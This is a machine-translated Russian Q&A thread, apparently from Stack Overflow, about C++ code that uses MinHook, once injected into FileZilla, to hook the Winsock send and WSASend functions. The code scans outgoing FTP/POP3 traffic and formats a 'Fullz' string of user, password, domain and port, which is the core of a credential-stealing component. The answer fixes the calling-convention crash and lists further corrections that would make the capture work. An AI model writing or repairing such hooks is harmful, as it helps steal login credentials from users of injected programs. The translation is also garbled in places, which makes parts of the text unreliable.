2017-01-01 5 views
1

Я пытаюсь подключить Send/WSASend для отслеживания трафика, отображения данных в ящике сообщений, когда я подключаюсь, кроме того, что отображается сообщение с трафиком, которое выдает эту ошибку проверки выполнения.Hooking Send/WSASend возвращает ошибку проверки времени выполнения # 0

код, кажется, правильно компилировать, выглядит следующим образом ниже

#include "stdafx.h" 
#include "MinHook.h" 
#include <Windows.h> 
#include <stdio.h> 
#include <Wininet.h> 
#include <fstream> 
#include <string> 
#include <vector> 
#include <winsock2.h> 
#include "popftphook.h" 

#pragma comment (lib, "wininet") 
#pragma comment(lib,"urlmon") 
#pragma comment(lib, "ws2_32") 

using namespace std; 

LPVOID original_functionwsa = NULL; 
LPVOID original_functionsend = NULL; 

template <typename T> 
inline MH_STATUS MH_CreateHookEx(LPVOID original, LPVOID pDetour, T** ppOriginal) 
{ 
    return MH_CreateHook(original, pDetour, reinterpret_cast<void**>(ppOriginal)); 
} 

typedef int(*send_FuncType)(SOCKET s, const char *buf, int len, int flags); 
typedef int (WINAPI *OldWSASend)(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine); 
void ExportBuffer(char *buf, SOCKET s); 
send_FuncType True_send = NULL; 
OldWSASend TrueWSAhook1 = NULL; 

void ExportBuffer(char *buf, SOCKET s) 
{ 
    char *buffer = (char*)buf; 
    if (strncmp(buffer, "FTP", 5) == 0 || strncmp(buffer, "POP", 5) == 0) 
    { 
     sockaddr_in peeraddr; 
     int size = sizeof(peeraddr); 
     getpeername(s, (struct sockaddr *)&peeraddr, &size); 
     struct sockaddr_in *s = (struct sockaddr_in *)&peeraddr; 
     char* IP = inet_ntoa(peeraddr.sin_addr); 
     int Port = (int)htons(peeraddr.sin_port); 

     if (IP != NULL && Port > 0) 
     { 
      char Fullz[250]; 
      wsprintfA(Fullz, "user=%s&pwd=%s&domain=%s&port=%d&proto=POP3 or FTP", buf, inet_ntoa(peeraddr.sin_addr), Port); 
      MessageBoxA(0, Fullz, 0, 0); 
     } 
    } 
} 


int WINAPI Detoursend(SOCKET s, const char *buf, int len, int flags) 
{ 
    int hResult = True_send(s, buf, len, flags); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)buf, s); 
    } 

    return hResult; 
} 

int WINAPI HOOK_WSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesSent, DWORD dwFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) 
{ 
    int hResult = TrueWSAhook1(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine); 
    if (hResult > 0) 
    { 
     ExportBuffer((char*)lpBuffers->buf, s); 
    } 
    return hResult; 

} 

void hookSend() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "send"); 
    status = MH_CreateHookEx(original_functionsend, &Detoursend, &True_send); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void hookWSApop() 
{ 
    MH_STATUS status = MH_Initialize(); 
    original_functionsend = (LPVOID)GetProcAddress(GetModuleHandle(L"ws2_32.dll"), "WSASend"); 
    status = MH_CreateHookEx(original_functionsend, &HOOK_WSASend, &TrueWSAhook1); 
    status = MH_EnableHook(MH_ALL_HOOKS); 
} 

void poptrigger() 
{ 
    hookSend(); 
    hookWSApop(); 
} 

Когда я впрыснуть в FileZilla я получаю время выполнения проверки ошибок # 0 на линии 57.

ответ

3

Ваш send_FuncType ЬурейеЕ отсутствует явное призвание соглашение, поэтому используется значение компилятора (обычно __cdecl). send() использует соглашение о вызове __stdcall (как это делает почти каждая функция Win32 API). Таким образом, вы, вероятно, будете вызывать ошибки во время выполнения при вызове True_send() из-за несоответствия соглашения о вызове. Макрос WINAPI включает в себя соглашение __stdcall, поэтому у вас нет аналогичного несоответствия на вашем крюке WSASend().

Кроме того, ExportBuffer() имеет довольно много логических ошибки:

  1. send() и WSASend() не работают на завершающий нуль буферов (и нуль терминаторов не существуют в FTP и POP3), но ваш strncmp и wsprintfA операции ожидают данные с нулевым завершением.
  2. Вы вообще не берете ориентированный на поток интерфейс TCP. Нет никакой гарантии, что любой заданный буфер будет содержать полные строки. Вы должны быть готовы обрабатывать строки, которые охватывают несколько буферов.
  3. Вы предполагаете, что все сокеты используют только IPv4, но это не гарантируется. Для поддержки как IPv4, так и IPv6 используйте sockaddr_storage вместо sockaddr_in и используйте InetPton() вместо inet_ntoa().
  4. Вы не передадите достаточное количество параметров, чтобы wsprintfA(). У вас есть 4 спецификатора формата, но они передают только 3 значения данных.
  5. Возможно, вы хотите обрабатывать протоколы FTP и POP3, но строки "FTP" и "POP" не отображаются в передаваемых данных в этих протоколах, так что вы действительно ищете?

Необходимо устранить эти ошибки.

Смежные вопросы